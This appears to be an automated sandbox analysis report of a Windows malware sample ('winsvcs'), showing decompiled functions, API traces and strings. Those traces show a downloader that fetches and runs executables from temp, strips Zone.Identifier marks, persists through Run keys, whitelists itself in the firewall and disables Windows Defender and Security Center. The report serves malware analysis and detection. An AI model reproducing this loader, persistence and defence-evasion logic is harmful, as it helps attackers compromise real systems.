					if((_t141 & 0x000000ff) != 0) {
						_v1045 = 1;
					}
					goto L8;
				} else {
					WriteFile(_v2080,  &_v524, _v2612,  &_v2608, 0); // executed
					goto L3;
				}
			}

0x0040437a
0x00404381
0x00404383
0x00404398
0x004043ae
0x004043c4
0x004043da
0x004043f0
0x004043fe
0x004043ff
0x00404404
0x0040440f
0x00404410
0x00404429
0x00404436
0x0040444a
0x00404452
0x00404457
0x00404465
0x00404466
0x0040446b
0x00404479
0x0040447a
0x0040447f
0x0040448d
0x00404494
0x00404495
0x0040449a
0x004044a5
0x004044a6
0x004044ab
0x004044bb
0x004044c1
0x004044ce
0x004045f8
0x004045fe
0x00404609
0x00404618
0x0040462c
0x00404634
0x00404639
0x00404647
0x00404648
0x0040464d
0x0040465b
0x0040465c
0x00404661
0x0040466f
0x00404676
0x00404677
0x0040467c
0x00404687
0x00404688
0x00404690
0x00404692
0x0040469a
0x0040469b
0x004046a1
0x004046a2
0x004046a4
0x004046ab
0x004046bb
0x004046c9
0x004046ca
0x004046cf
0x004046da
0x004046db
0x004046ea
0x004046f5
0x00404702
0x00404707
0x004046ab
0x0040470a
0x0040470a
0x004044e9
0x004044ef
0x004044fc
0x004045ec
0x004045f2
0x00000000
0x004045f2
0x00404518
0x0040451e
0x0040452b
0x004045e0
0x004045e6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00404531
0x0040454a
0x00404552
0x00404587
0x00404593
0x00404594
0x00404599
0x004045a4
0x004045a5
0x004045aa
0x004045b4
0x004045bf
0x004045cc
0x004045d7
0x004045d9
0x004045d9
0x00000000
0x0040455d
0x00404579
0x00000000
0x00404579

APIs

memset.MSVCRT ref: 00404398
memset.MSVCRT ref: 004043AE
memset.MSVCRT ref: 004043C4
memset.MSVCRT ref: 004043DA
memset.MSVCRT ref: 004043F0
_snwprintf.MSVCRT ref: 00404410
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000208), ref: 00404429
GetTickCount.KERNEL32 ref: 0040442F
srand.MSVCRT ref: 00404436
memset.MSVCRT ref: 0040444A
rand.MSVCRT ref: 00404452
rand.MSVCRT ref: 00404466
rand.MSVCRT ref: 0040447A
_snwprintf.MSVCRT ref: 004044A6
InternetOpenW.WININET(Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0,00000000,00000000,00000000,00000000), ref: 004044BB
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 004044E9
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00404518
InternetReadFile.WININET(00000000,?,00000207,?), ref: 0040454A
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 00404579
CloseHandle.KERNEL32(000000FF), ref: 00404587
_snwprintf.MSVCRT ref: 004045A5
DeleteFileW.KERNEL32(?), ref: 004045B4
Sleep.KERNEL32(000001F4), ref: 004045BF
CloseHandle.KERNEL32(000000FF), ref: 004045E6
InternetCloseHandle.WININET(00000000), ref: 004045F2
InternetCloseHandle.WININET(00000000), ref: 004045FE
Sleep.KERNEL32(000001F4), ref: 00404609
memset.MSVCRT ref: 0040462C
rand.MSVCRT ref: 00404634
rand.MSVCRT ref: 00404648
rand.MSVCRT ref: 0040465C
_snwprintf.MSVCRT ref: 00404688
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 004046A4
memset.MSVCRT ref: 004046BB
_snwprintf.MSVCRT ref: 004046DB
DeleteFileW.KERNEL32(?), ref: 004046EA
Sleep.KERNEL32(000001F4), ref: 004046F5

Part of subcall function 004035DF: memset.MSVCRT ref: 004035EE
Part of subcall function 004035DF: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040362D
Part of subcall function 004035DF: Sleep.KERNEL32(000001F4,?,?,?), ref: 00403640
Part of subcall function 004035DF: ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 00403656

ExitThread.KERNEL32 ref: 0040470A

Strings

%ls\%d%d%d.exe, xrefs: 00404677
%temp%, xrefs: 00404424
%ls:Zone.Identifier, xrefs: 004046CA
%ls\%d%d%d.exe, xrefs: 00404495
%hs, xrefs: 004043FF
%ls:Zone.Identifier, xrefs: 00404594
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0, xrefs: 004044B6

Memory Dump Source

Source File: 00000002.00000002.627197202.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_winsvcs.jbxd

Similarity

API ID: memset$Filerand$Internet_snwprintf$CloseHandleSleep$CreateDeleteOpen$CountDownloadEnvironmentExecuteExitExpandProcessReadShellStringsThreadTickWritesrand
String ID: %hs$%ls:Zone.Identifier$%ls:Zone.Identifier$%ls\%d%d%d.exe$%ls\%d%d%d.exe$%temp%$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0
API String ID: 314448667-2981563511
Opcode ID: 316f5ca5b5e582dc203676bccec9b94ae80a8cd38023e28ced8965f11cfc4645
Instruction ID: a0c79094a59acbf56f832477cd9f29c162b4d81c5efd7afe24003f585bfe1a2a
Opcode Fuzzy Hash: 316f5ca5b5e582dc203676bccec9b94ae80a8cd38023e28ced8965f11cfc4645
Instruction Fuzzy Hash: C4917471A803186AEB20AB50DC4AFDA777CAB04700F0445BAB749F50D1DE7CABD48F69

Uniqueness

Uniqueness Score: 100.00%

Function 00402BE5, Relevance: 49.4, APIs: 12, Strings: 16, Instructions: 428
networkUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E00402BE5(char* _a4) {
				long _v8;
				intOrPtr* _v12;
				void* _v16;
				void _v20;
				void _v24;
				void _v28;
				void _v32;
				void* _v36;
				void _v40;
				intOrPtr* _v44;
				intOrPtr* _v48;
				signed int _v49;
				signed int _v50;
				signed int _v56;
				signed int _v60;
				intOrPtr* _v64;
				intOrPtr* _v68;
				signed int _v69;
				signed int _v70;
				signed int _v76;
				signed int _v80;
				intOrPtr* _v84;
				intOrPtr* _v88;
				signed int _v89;
				signed int _v90;
				signed int _v96;
				signed int _v100;
				intOrPtr* _v104;
				intOrPtr* _v108;
				signed int _v109;
				signed int _v110;
				signed int _v116;
				signed int _v120;
				intOrPtr* _v124;
				intOrPtr* _v128;
				signed int _v129;
				signed int _v130;
				signed int _v136;
				signed int _v140;
				intOrPtr* _v144;
				intOrPtr* _v148;
				signed int _v149;
				signed int _v150;
				signed int _v156;
				signed int _v160;
				intOrPtr* _v164;
				intOrPtr* _v168;
				signed int _v169;
				signed int _v170;
				signed int _v176;
				signed int _v180;
				intOrPtr* _v184;
				intOrPtr* _v188;
				signed int _v189;
				signed int _v190;
				signed int _v196;
				signed int _v200;
				intOrPtr* _v204;
				intOrPtr* _v208;
				signed int _v209;
				signed int _v210;
				signed int _v216;
				signed int _v220;
				intOrPtr* _v224;
				intOrPtr* _v228;
				signed int _v229;
				signed int _v230;
				signed int _v236;
				signed int _v240;
				void* _t279;
				void* _t282;
				signed int _t287;
				signed int _t291;
				signed int _t295;
				signed int _t299;
				signed int _t303;
				signed int _t309;
				signed int _t313;
				signed int _t317;
				signed int _t321;
				signed int _t325;
				intOrPtr _t327;
				intOrPtr _t331;
				intOrPtr _t335;
				intOrPtr _t339;
				intOrPtr _t343;

				_t279 = InternetOpenA("Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0", 1, 0, 0, 0); // executed
				_v36 = _t279;
				if(_v36 == 0) {
					L104:
					InternetCloseHandle(_v36);
					return 0;
				}
				_t282 = InternetOpenUrlA(_v36, _a4, 0, 0, 0, 0); // executed
				_v16 = _t282;
				if(_v16 == 0) {
					L103:
					InternetCloseHandle(_v16);
					goto L104;
				}
				_v12 = PathFindFileNameA(_a4);
				if(_v12 == 0) {
					goto L103;
				}
				_v44 = "t.exe";
				_v48 = _v12;
				while(1) {
					_t287 =  *_v48;
					_v49 = _t287;
					if(_t287 !=  *_v44) {
						break;
					}
					if(_v49 == 0) {
						L8:
						_v56 = _v56 & 0x00000000;
						L10:
						_v60 = _v56;
						if(_v60 == 0) {
							_v8 = 4;
							HttpQueryInfoA(_v16, 0x20000005,  &_v32,  &_v8, 0);
						}
						_v64 = "m.exe";
						_v68 = _v12;
						while(1) {
							_t291 =  *_v68;
							_v69 = _t291;
							if(_t291 !=  *_v64) {
								break;
							}
							if(_v69 == 0) {
								L17:
								_v76 = _v76 & 0x00000000;
								L19:
								_v80 = _v76;
								if(_v80 == 0) {
									_v8 = 4;
									HttpQueryInfoA(_v16, 0x20000005,  &_v40,  &_v8, 0);
								}
								_v84 = "p.exe";
								_v88 = _v12;
								while(1) {
									_t295 =  *_v88;
									_v89 = _t295;
									if(_t295 !=  *_v84) {
										break;
									}
									if(_v89 == 0) {
										L26:
										_v96 = _v96 & 0x00000000;
										L28:
										_v100 = _v96;
										if(_v100 == 0) {
											_v8 = 4;
											HttpQueryInfoA(_v16, 0x20000005,  &_v28,  &_v8, 0);
										}
										_v104 = "s.exe";
										_v108 = _v12;
										while(1) {
											_t299 =  *_v108;
											_v109 = _t299;
											if(_t299 !=  *_v104) {
												break;
											}
											if(_v109 == 0) {
												L35:
												_v116 = _v116 & 0x00000000;
												L37:
												_v120 = _v116;
												if(_v120 == 0) {
													_v8 = 4;
													HttpQueryInfoA(_v16, 0x20000005,  &_v24,  &_v8, 0);
												}
												_v124 = "o.exe";
												_v128 = _v12;
												while(1) {
													_t303 =  *_v128;
													_v129 = _t303;
													if(_t303 !=  *_v124) {
														break;
													}
													if(_v129 == 0) {
														L44:
														_v136 = _v136 & 0x00000000;
														L46:
														_v140 = _v136;
														if(_v140 == 0) {
															_v8 = 4;
															HttpQueryInfoA(_v16, 0x20000005,  &_v20,  &_v8, 0);
														}
														InternetCloseHandle(_v16); // executed
														InternetCloseHandle(_v36);
														_v144 = "t.exe";
														_v148 = _v12;
														while(1) {
															_t309 =  *_v148;
															_v149 = _t309;
															if(_t309 !=  *_v144) {
																break;
															}
															if(_v149 == 0) {
																L53:
																_v156 = _v156 & 0x00000000;
																L55:
																_v160 = _v156;
																if(_v160 != 0 || _v32 <= 0x7530) {
																	L59:
																	_v164 = "m.exe";
																	_v168 = _v12;
																	while(1) {
																		_t313 =  *_v168;
																		_v169 = _t313;
																		if(_t313 !=  *_v164) {
																			break;
																		}
																		if(_v169 == 0) {
																			L64:
																			_v176 = _v176 & 0x00000000;
																			L66:
																			_v180 = _v176;
																			if(_v180 != 0 || _v40 <= 0x7530) {
																				L70:
																				_v184 = "p.exe";
																				_v188 = _v12;
																				while(1) {
																					_t317 =  *_v188;
																					_v189 = _t317;
																					if(_t317 !=  *_v184) {
																						break;
																					}
																					if(_v189 == 0) {
																						L75:
																						_v196 = _v196 & 0x00000000;
																						L77:
																						_v200 = _v196;
																						if(_v200 != 0 || _v28 <= 0x7530) {
																							L81:
																							_v204 = "s.exe";
																							_v208 = _v12;
																							while(1) {
																								_t321 =  *_v208;
																								_v209 = _t321;
																								if(_t321 !=  *_v204) {
																									break;
																								}
																								if(_v209 == 0) {
																									L86:
																									_v216 = _v216 & 0x00000000;
																									L88:
																									_v220 = _v216;
																									if(_v220 != 0 || _v24 <= 0x7530) {
																										L92:
																										_v224 = "o.exe";
																										_v228 = _v12;
																										while(1) {
																											_t325 =  *_v228;
																											_v229 = _t325;
																											if(_t325 !=  *_v224) {
																												break;
																											}
																											if(_v229 == 0) {
																												L97:
																												_v236 = _v236 & 0x00000000;
																												L99:
																												_v240 = _v236;
																												if(_v240 != 0 || _v20 <= 0x7530) {
																													goto L103;
																												} else {
																													_t327 =  *0x40add8; // 0x0
																													if(_t327 == _v20) {
																														goto L103;
																													}
																													 *0x40add8 = _v20;
																													return 1;
																												}
																											}
																											_t325 =  *((intOrPtr*)(_v228 + 1));
																											_v230 = _t325;
																											_t262 = _v224 + 1; // 0x6578652e
																											if(_t325 !=  *_t262) {
																												break;
																											}
																											_v228 = _v228 + 2;
																											_v224 = _v224 + 2;
																											if(_v230 != 0) {
																												continue;
																											}
																											goto L97;
																										}
																										asm("sbb eax, eax");
																										asm("sbb eax, 0xffffffff");
																										_v236 = _t325;
																										goto L99;
																									} else {
																										_t331 =  *0x40ade4; // 0x0
																										if(_t331 == _v24) {
																											goto L92;
																										}
																										 *0x40ade4 = _v24;
																										return 1;
																									}
																								}
																								_t321 =  *((intOrPtr*)(_v208 + 1));
																								_v210 = _t321;
																								_t236 = _v204 + 1; // 0x6578652e
																								if(_t321 !=  *_t236) {
																									break;
																								}
																								_v208 = _v208 + 2;
																								_v204 = _v204 + 2;
																								if(_v210 != 0) {
																									continue;
																								}
																								goto L86;
																							}
																							asm("sbb eax, eax");
																							asm("sbb eax, 0xffffffff");
																							_v216 = _t321;
																							goto L88;
																						} else {
																							_t335 =  *0x40addc; // 0x31e00
																							if(_t335 == _v28) {
																								goto L81;
																							}
																							 *0x40addc = _v28;
																							return 1;
																						}
																					}
																					_t317 =  *((intOrPtr*)(_v188 + 1));
																					_v190 = _t317;
																					_t210 = _v184 + 1; // 0x6578652e
																					if(_t317 !=  *_t210) {
																						break;
																					}
																					_v188 = _v188 + 2;
																					_v184 = _v184 + 2;
																					if(_v190 != 0) {
																						continue;
																					}
																					goto L75;
																				}
																				asm("sbb eax, eax");
																				asm("sbb eax, 0xffffffff");
																				_v196 = _t317;
																				goto L77;
																			} else {
																				_t339 =  *0x40ade0; // 0x126c00
																				if(_t339 == _v40) {
																					goto L70;
																				}
																				 *0x40ade0 = _v40;
																				return 1;
																			}
																		}
																		_t313 =  *((intOrPtr*)(_v168 + 1));
																		_v170 = _t313;
																		_t184 = _v164 + 1; // 0x6578652e
																		if(_t313 !=  *_t184) {
																			break;
																		}
																		_v168 = _v168 + 2;
																		_v164 = _v164 + 2;
																		if(_v170 != 0) {
																			continue;
																		}
																		goto L64;
																	}
																	asm("sbb eax, eax");
																	asm("sbb eax, 0xffffffff");
																	_v176 = _t313;
																	goto L66;
																} else {
																	_t343 =  *0x40a9c4; // 0x27e00
																	if(_t343 == _v32) {
																		goto L59;
																	}
																	 *0x40a9c4 = _v32;
																	return 1;
																}
															}
															_t309 =  *((intOrPtr*)(_v148 + 1));
															_v150 = _t309;
															_t158 = _v144 + 1; // 0x6578652e
															if(_t309 !=  *_t158) {
																break;
															}
															_v148 = _v148 + 2;
															_v144 = _v144 + 2;
															if(_v150 != 0) {
																continue;
															}
															goto L53;
														}
														asm("sbb eax, eax");
														asm("sbb eax, 0xffffffff");
														_v156 = _t309;
														goto L55;
													}
													_t303 =  *((intOrPtr*)(_v128 + 1));
													_v130 = _t303;
													_t129 = _v124 + 1; // 0x6578652e
													if(_t303 !=  *_t129) {
														break;
													}
													_v128 = _v128 + 2;
													_v124 = _v124 + 2;
													if(_v130 != 0) {
														continue;
													}
													goto L44;
												}
												asm("sbb eax, eax");
												asm("sbb eax, 0xffffffff");
												_v136 = _t303;
												goto L46;
											}
											_t299 =  *((intOrPtr*)(_v108 + 1));
											_v110 = _t299;
											_t102 = _v104 + 1; // 0x6578652e
											if(_t299 !=  *_t102) {
												break;
											}
											_v108 = _v108 + 2;
											_v104 = _v104 + 2;
											if(_v110 != 0) {
												continue;
											}
											goto L35;
										}
										asm("sbb eax, eax");
										asm("sbb eax, 0xffffffff");
										_v116 = _t299;
										goto L37;
									}
									_t295 =  *((intOrPtr*)(_v88 + 1));
									_v90 = _t295;
									_t75 = _v84 + 1; // 0x6578652e
									if(_t295 !=  *_t75) {
										break;
									}
									_v88 = _v88 + 2;
									_v84 = _v84 + 2;
									if(_v90 != 0) {
										continue;
									}
									goto L26;
								}
								asm("sbb eax, eax");
								asm("sbb eax, 0xffffffff");
								_v96 = _t295;
								goto L28;
							}
							_t291 =  *((intOrPtr*)(_v68 + 1));
							_v70 = _t291;
							_t48 = _v64 + 1; // 0x6578652e
							if(_t291 !=  *_t48) {
								break;
							}
							_v68 = _v68 + 2;
							_v64 = _v64 + 2;
							if(_v70 != 0) {
								continue;
							}
							goto L17;
						}
						asm("sbb eax, eax");
						asm("sbb eax, 0xffffffff");
						_v76 = _t291;
						goto L19;
					}
					_t287 =  *((intOrPtr*)(_v48 + 1));
					_v50 = _t287;
					_t21 = _v44 + 1; // 0x6578652e
					if(_t287 !=  *_t21) {
						break;
					}
					_v48 = _v48 + 2;
					_v44 = _v44 + 2;
					if(_v50 != 0) {
						continue;
					}
					goto L8;
				}
				asm("sbb eax, eax");
				asm("sbb eax, 0xffffffff");
				_v56 = _t287;
				goto L10;
			}

0x00402bfb
0x00402c01
0x00402c08
0x0040323e
0x00403241
0x00000000
0x00403247
0x00402c1c
0x00402c22
0x00402c29
0x00403235
0x00403238
0x00000000
0x00403238
0x00402c38
0x00402c3f
0x00000000
0x00000000
0x00402c45
0x00402c4f
0x00402c52
0x00402c55
0x00402c57
0x00402c5f
0x00000000
0x00000000
0x00402c65
0x00402c86
0x00402c86
0x00402c94
0x00402c97
0x00402c9e
0x00402ca0
0x00402cb9
0x00402cb9
0x00402cbf
0x00402cc9
0x00402ccc
0x00402ccf
0x00402cd1
0x00402cd9
0x00000000
0x00000000
0x00402cdf
0x00402d00
0x00402d00
0x00402d0e
0x00402d11
0x00402d18
0x00402d1a
0x00402d33
0x00402d33
0x00402d39
0x00402d43
0x00402d46
0x00402d49
0x00402d4b
0x00402d53
0x00000000
0x00000000
0x00402d59
0x00402d7a
0x00402d7a
0x00402d88
0x00402d8b
0x00402d92
0x00402d94
0x00402dad
0x00402dad
0x00402db3
0x00402dbd
0x00402dc0
0x00402dc3
0x00402dc5
0x00402dcd
0x00000000
0x00000000
0x00402dd3
0x00402df4
0x00402df4
0x00402e02
0x00402e05
0x00402e0c
0x00402e0e
0x00402e27
0x00402e27
0x00402e2d
0x00402e37
0x00402e3a
0x00402e3d
0x00402e3f
0x00402e47
0x00000000
0x00000000
0x00402e4d
0x00402e6e
0x00402e6e
0x00402e82
0x00402e88
0x00402e95
0x00402e97
0x00402eb0
0x00402eb0
0x00402eb9
0x00402ec2
0x00402ec8
0x00402ed5
0x00402edb
0x00402ee1
0x00402ee3
0x00402ef1
0x00000000
0x00000000
0x00402efa
0x00402f2d
0x00402f2d
0x00402f41
0x00402f47
0x00402f54
0x00402f78
0x00402f78
0x00402f85
0x00402f8b
0x00402f91
0x00402f93
0x00402fa1
0x00000000
0x00000000
0x00402faa
0x00402fdd
0x00402fdd
0x00402ff1
0x00402ff7
0x00403004
0x00403028
0x00403028
0x00403035
0x0040303b
0x00403041
0x00403043
0x00403051
0x00000000
0x00000000
0x0040305a
0x0040308d
0x0040308d
0x004030a1
0x004030a7
0x004030b4
0x004030d8
0x004030d8
0x004030e5
0x004030eb
0x004030f1
0x004030f3
0x00403101
0x00000000
0x00000000
0x0040310a
0x0040313d
0x0040313d
0x00403151
0x00403157
0x00403164
0x00403188
0x00403188
0x00403195
0x0040319b
0x004031a1
0x004031a3
0x004031b1
0x00000000
0x00000000
0x004031ba
0x004031ed
0x004031ed
0x00403201
0x00403207
0x00403214
0x00000000
0x0040321f
0x0040321f
0x00403227
0x00000000
0x00000000
0x0040322c
0x00000000
0x00403231
0x00403214
0x004031c2
0x004031c5
0x004031d1
0x004031d4
0x00000000
0x00000000
0x004031d6
0x004031dd
0x004031eb
0x00000000
0x00000000
0x00000000
0x004031eb
0x004031f6
0x004031f8
0x004031fb
0x00000000
0x0040316f
0x0040316f
0x00403177
0x00000000
0x00000000
0x0040317c
0x00000000
0x00403181
0x00403164
0x00403112
0x00403115
0x00403121
0x00403124
0x00000000
0x00000000
0x00403126
0x0040312d
0x0040313b
0x00000000
0x00000000
0x00000000
0x0040313b
0x00403146
0x00403148
0x0040314b
0x00000000
0x004030bf
0x004030bf
0x004030c7
0x00000000
0x00000000
0x004030cc
0x00000000
0x004030d1
0x004030b4
0x00403062
0x00403065
0x00403071
0x00403074
0x00000000
0x00000000
0x00403076
0x0040307d
0x0040308b
0x00000000
0x00000000
0x00000000
0x0040308b
0x00403096
0x00403098
0x0040309b
0x00000000
0x0040300f
0x0040300f
0x00403017
0x00000000
0x00000000
0x0040301c
0x00000000
0x00403021
0x00403004
0x00402fb2
0x00402fb5
0x00402fc1
0x00402fc4
0x00000000
0x00000000
0x00402fc6
0x00402fcd
0x00402fdb
0x00000000
0x00000000
0x00000000
0x00402fdb
0x00402fe6
0x00402fe8
0x00402feb
0x00000000
0x00402f5f
0x00402f5f
0x00402f67
0x00000000
0x00000000
0x00402f6c
0x00000000
0x00402f71
0x00402f54
0x00402f02
0x00402f05
0x00402f11
0x00402f14
0x00000000
0x00000000
0x00402f16
0x00402f1d
0x00402f2b
0x00000000
0x00000000
0x00000000
0x00402f2b
0x00402f36
0x00402f38
0x00402f3b
0x00000000
0x00402f3b
0x00402e52
0x00402e55
0x00402e5b
0x00402e5e
0x00000000
0x00000000
0x00402e60
0x00402e64
0x00402e6c
0x00000000
0x00000000
0x00000000
0x00402e6c
0x00402e77
0x00402e79
0x00402e7c
0x00000000
0x00402e7c
0x00402dd8
0x00402ddb
0x00402de1
0x00402de4
0x00000000
0x00000000
0x00402de6
0x00402dea
0x00402df2
0x00000000
0x00000000
0x00000000
0x00402df2
0x00402dfa
0x00402dfc
0x00402dff
0x00000000
0x00402dff
0x00402d5e
0x00402d61
0x00402d67
0x00402d6a
0x00000000
0x00000000
0x00402d6c
0x00402d70
0x00402d78
0x00000000
0x00000000
0x00000000
0x00402d78
0x00402d80
0x00402d82
0x00402d85
0x00000000
0x00402d85
0x00402ce4
0x00402ce7
0x00402ced
0x00402cf0
0x00000000
0x00000000
0x00402cf2
0x00402cf6
0x00402cfe
0x00000000
0x00000000
0x00000000
0x00402cfe
0x00402d06
0x00402d08
0x00402d0b
0x00000000
0x00402d0b
0x00402c6a
0x00402c6d
0x00402c73
0x00402c76
0x00000000
0x00000000
0x00402c78
0x00402c7c
0x00402c84
0x00000000
0x00000000
0x00000000
0x00402c84
0x00402c8c
0x00402c8e
0x00402c91
0x00000000

APIs

InternetOpenA.WININET(Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0,00000001,00000000,00000000,00000000), ref: 00402BFB
InternetOpenUrlA.WININET(00000000,00406BBB,00000000,00000000,00000000,00000000), ref: 00402C1C
PathFindFileNameA.SHLWAPI(00406BBB), ref: 00402C32
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402CB9
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402D33
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402DAD
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402E27
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402EB0
InternetCloseHandle.WININET(00000000), ref: 00402EB9
InternetCloseHandle.WININET(00000000), ref: 00402EC2
InternetCloseHandle.WININET(00000000), ref: 00403238
InternetCloseHandle.WININET(00000000), ref: 00403241

Strings

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0, xrefs: 00402BF6
p.exe, xrefs: 00403028
t.exe, xrefs: 00402C45
0u, xrefs: 00403006
m.exe, xrefs: 00402F78
s.exe, xrefs: 00402DB3
0u, xrefs: 00403216
o.exe, xrefs: 00402E2D
0u, xrefs: 00403166
0u, xrefs: 00402F56
t.exe, xrefs: 00402EC8
0u, xrefs: 004030B6
o.exe, xrefs: 00403188
s.exe, xrefs: 004030D8
m.exe, xrefs: 00402CBF
p.exe, xrefs: 00402D39

Memory Dump Source

Source File: 00000002.00000002.627197202.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_winsvcs.jbxd

Similarity

API ID: Internet$HttpInfoQuery$CloseHandle$Open$FileFindNamePath
String ID: 0u$0u$0u$0u$0u$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0$m.exe$m.exe$o.exe$o.exe$p.exe$p.exe$s.exe$s.exe$t.exe$t.exe
API String ID: 37956365-521208185
Opcode ID: 17fa5b4461d409d9b1ec2d9a23cca3bba81e972b0ab4b0443fa677a7e51dcf3f
Instruction ID: ab86073ac843c99f1253e1fd532b87c8553bcd4229aed7c2f4a9da9a39d6ebb8
Opcode Fuzzy Hash: 17fa5b4461d409d9b1ec2d9a23cca3bba81e972b0ab4b0443fa677a7e51dcf3f
Instruction Fuzzy Hash: 99222674D042989FDB21CFA4C948BEDBBB1AB15314F1441EAD099B72D1C3785E89CF19

Uniqueness

Uniqueness Score: 100.00%

Function 004061A2, Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 181
registrysleepthreadUNIQUE

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 004061CA
memset.MSVCRT ref: 004061E0
memset.MSVCRT ref: 004061F6
ExpandEnvironmentStringsW.KERNEL32(?,?,00000208), ref: 00406217
_snwprintf.MSVCRT ref: 00406235
_snwprintf.MSVCRT ref: 0040625C
PathFileExistsW.SHLWAPI(?), ref: 0040626B
PathFileExistsW.SHLWAPI(?), ref: 00406280
CreateDirectoryW.KERNEL32(?,00000000), ref: 00406293
CopyFileW.KERNEL32(?,?,00000000), ref: 004062A9
Sleep.KERNEL32(000001F4), ref: 004062BA
_snwprintf.MSVCRT ref: 004062E4
SetFileAttributesW.KERNEL32(?,00000007), ref: 00406394
SetFileAttributesW.KERNEL32(?,00000007), ref: 004063A3
RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run\,00000000,000F003F,?), ref: 004063C1
RegSetValueExW.ADVAPI32(?,?,00000000,00000001,?,?), ref: 00406442
RegCloseKey.ADVAPI32(?), ref: 0040644E
RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run\,00000000,000F003F,?), ref: 0040646C
RegSetValueExW.ADVAPI32(?,?,00000000,00000001,?,?), ref: 004064ED
RegCloseKey.ADVAPI32(?), ref: 004064F9

Part of subcall function 004035DF: memset.MSVCRT ref: 004035EE
Part of subcall function 004035DF: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040362D
Part of subcall function 004035DF: Sleep.KERNEL32(000001F4,?,?,?), ref: 00403640
Part of subcall function 004035DF: ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 00403656

Sleep.KERNEL32(000001F4), ref: 00406511
ExitProcess.KERNEL32 ref: 00406519
Sleep.KERNEL32(000001F4), ref: 00406524
RegOpenKeyExW.KERNEL32(80000002,SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\,00000000,000F003F,?), ref: 00406542
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,00000000), ref: 0040656A
RegSetValueExW.ADVAPI32(?,?,00000000,00000001,?,?), ref: 004065F2
RegCloseKey.ADVAPI32(?), ref: 004065FE
Sleep.KERNEL32(000001F4), ref: 00406609
RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\Policies\Microsoft\Windows Defender\,00000000,000F003F,?), ref: 00406627
RegQueryValueExW.KERNEL32(?,DisableAntiSpyware,00000000,?,00000000,00000000), ref: 0040664D
RegSetValueExW.ADVAPI32(?,DisableAntiSpyware,00000000,00000004,?,00000004), ref: 0040667A
RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection,00000000,000F003F,?), ref: 00406698
RegCreateKeyExA.ADVAPI32(80000002,SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection,00000000,00000000,00000000,00020006,00000000,?,00000000), ref: 004066C2
RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\,00000000,000F003F,?), ref: 004066E0
RegQueryValueExW.KERNEL32(?,DisableScanOnRealtimeEnable,00000000,?,00000000,00000000), ref: 00406706
RegSetValueExW.ADVAPI32(?,DisableScanOnRealtimeEnable,00000000,00000004,?,00000004), ref: 00406733
RegQueryValueExW.KERNEL32(?,DisableOnAccessProtection,00000000,?,00000000,00000000), ref: 00406751
RegSetValueExW.ADVAPI32(?,DisableOnAccessProtection,00000000,00000004,?,00000004), ref: 0040677E
RegQueryValueExW.KERNEL32(?,DisableBehaviorMonitoring,00000000,?,00000000,00000000), ref: 0040679C
RegSetValueExW.ADVAPI32(?,DisableBehaviorMonitoring,00000000,00000004,?,00000004), ref: 004067C9
RegCloseKey.ADVAPI32(?), ref: 004067D5
RegCloseKey.ADVAPI32(?), ref: 004067E1
Sleep.KERNEL32(000001F4), ref: 004067EC
RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\Microsoft\Security Center\,00000000,000F003F,?), ref: 0040680A
RegQueryValueExW.KERNEL32(?,?,00000000,?,00000000,00000000), ref: 00406857
RegSetValueExW.KERNEL32(?,?,00000000,00000004,?,00000004), ref: 0040688C
RegCloseKey.ADVAPI32(?), ref: 0040689A
Sleep.KERNEL32(000001F4), ref: 004068A5
RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\Microsoft\Security Center\Svc\,00000000,000F003F,?), ref: 004068C3
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,00000000), ref: 00406910
RegSetValueExW.ADVAPI32(?,?,00000000,00000004,?,00000004), ref: 00406945
RegCloseKey.ADVAPI32(?), ref: 00406953
